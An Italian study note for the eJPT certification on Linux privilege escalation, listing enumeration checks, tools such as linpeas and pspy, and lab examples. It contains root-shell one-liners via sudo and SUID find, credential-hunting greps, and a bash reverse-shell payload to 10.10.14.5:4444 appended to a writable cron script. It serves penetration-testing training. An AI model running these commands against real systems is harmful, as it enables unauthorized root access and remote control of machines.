eJPT · Exploitation & Post-Ex
Privilege Escalation: Linux
Difficoltà: Intermediate Time to Master: 3h Prerequisiti: 02-Reverse-Bind-Shells.md Lab: INE PTS labs / TryHackMe, Kenobi
Obiettivo
Su Linux la strada verso root è quasi sempre più corta di quanto sembri da una shell www-data: un sudo -l mal configurato, un binario SUID non standard, un cron job scrivibile. Qui trovi l’ordine in cui enumerare questi vettori (sudo, SUID, cron, kernel) e — cosa che risparmia tempo vero in lab e all’esame — perché conviene guardarli in quest’ordine e non lanciare subito uno script automatico o un kernel exploit.
Concetti chiave
Aree da enumerare sempre
| Area | Comando/Check | Cosa indica |
|---|---|---|
| Sudo rights | sudo -l |
comandi eseguibili come root senza password o con password nota |
| Binari SUID | find / -perm -4000 -type f 2>/dev/null |
binari eseguibili con privilegi del proprietario (spesso root) |
| Cron job | cat /etc/crontab, ls -la /etc/cron.* |
job schedulati come root che puntano a file scrivibili |
| Kernel/OS version | uname -a, cat /etc/os-release |
possibili kernel exploit noti per versioni datate |
| Capabilities | getcap -r / 2>/dev/null |
binari con capability Linux elevate (es. cap_setuid) |
| Password/chiavi in chiaro | grep -r "password" /etc /home 2>/dev/null, history file |
credenziali riusabili |
Strumenti
| Tool | Comando base | Output | Note |
|---|---|---|---|
| linpeas.sh | ./linpeas.sh |
report completo colorato | script di enumerazione automatica più usato, va scaricato/caricato sul target |
| GTFOBins | consultazione online | lista binari sfruttabili per privesc/bypass in base a sudo/SUID | fondamentale per capire COME sfruttare un binario trovato |
| pspy | ./pspy64 |
monitoraggio processi in tempo reale senza root | utile per vedere cron job che girano come root |
| linux-exploit-suggester | ./les.sh |
kernel exploit candidati per la versione corrente | usare con cautela, kernel exploit possono destabilizzare il sistema |
Payload / Esempi
Esempio 1: check sudo
sudo -l
Output atteso:
User www-data may run the following commands on target:
(root) NOPASSWD: /usr/bin/find
Spiegazione: se find (o qualsiasi altro binario in GTFOBins) e eseguibile come root senza password, si può ottenere una shell root direttamente, es. sudo find . -exec /bin/sh \; -quit.
Esempio 2: binari SUID
find / -perm -4000 -type f 2>/dev/null
Output atteso:
/usr/bin/passwd
/usr/bin/find
Spiegazione: ogni binario nella lista va confrontato con GTFOBins: se e presente nella sezione SUID di un binario non standard (es. find, vim, less), quasi certamente esiste una tecnica nota per ottenere una shell root.
Esempio 3: sfruttare find SUID (esempio GTFOBins)
find . -exec /bin/sh -p \; -quit
Output atteso:
# whoami
root
Spiegazione: find con bit SUID attivo esegue il comando passato a -exec con i privilegi del proprietario del file (root); -p preserva i privilegi nella shell spawnata invece di droparli.
Esempio 4: cron job scrivibile
cat /etc/crontab
ls -la /opt/backup.sh
echo 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' >> /opt/backup.sh
Spiegazione: se uno script lanciato da cron come root è scrivibile dall’utente corrente, appendere un payload reverse shell è sufficiente: al successivo trigger del cron si ottiene una shell root.
Evasion / Bypass Techniques
- Verificare sempre la versione del kernel PRIMA di lanciare un kernel exploit: exploit sbagliati possono causare kernel panic
- Preferire vettori “puliti” (sudo/SUID/cron) a kernel exploit quando disponibili, sono più affidabili e meno rischiosi
Lab Hands-On
Lab 1: TryHackMe, Kenobi
Obiettivo: enumerazione servizi Linux (Samba, NFS, rsync), poi privilege escalation locale Difficulty: Facile-Media Time: 1.5h
Walkthrough breve:
- Ottieni accesso iniziale tramite uno dei servizi enumerati
- Esegui
sudo -le cerca binari SUID non standard - Verifica su GTFOBins la tecnica per il binario trovato
- Ottieni shell root e verifica con
id
Common Mistakes
- Lanciare linpeas senza guardare prima
sudo -le i binari SUID -> si perde tempo su un report enorme quando il vettore era ovvio - Provare kernel exploit come prima opzione -> rischioso e spesso non necessario
- Dimenticare
-pcon find/bash SUID -> la shell droppa i privilegi e sembra “non funzionare”
Link Utili
Connessioni
- Prerequisito: 02-Reverse-Bind-Shells.md
- Prossimo Step: 05-Pivoting-Port-Forwarding.md
- Combinazione con: ../05-System-Host-Attacks/02-Linux-Host-Attacks.md
Checklist di padronanza
- So eseguire ed interpretare
sudo -l - So cercare binari SUID e verificarli su GTFOBins
- So identificare un cron job vulnerabile
- Capisco quando NON conviene tentare un kernel exploit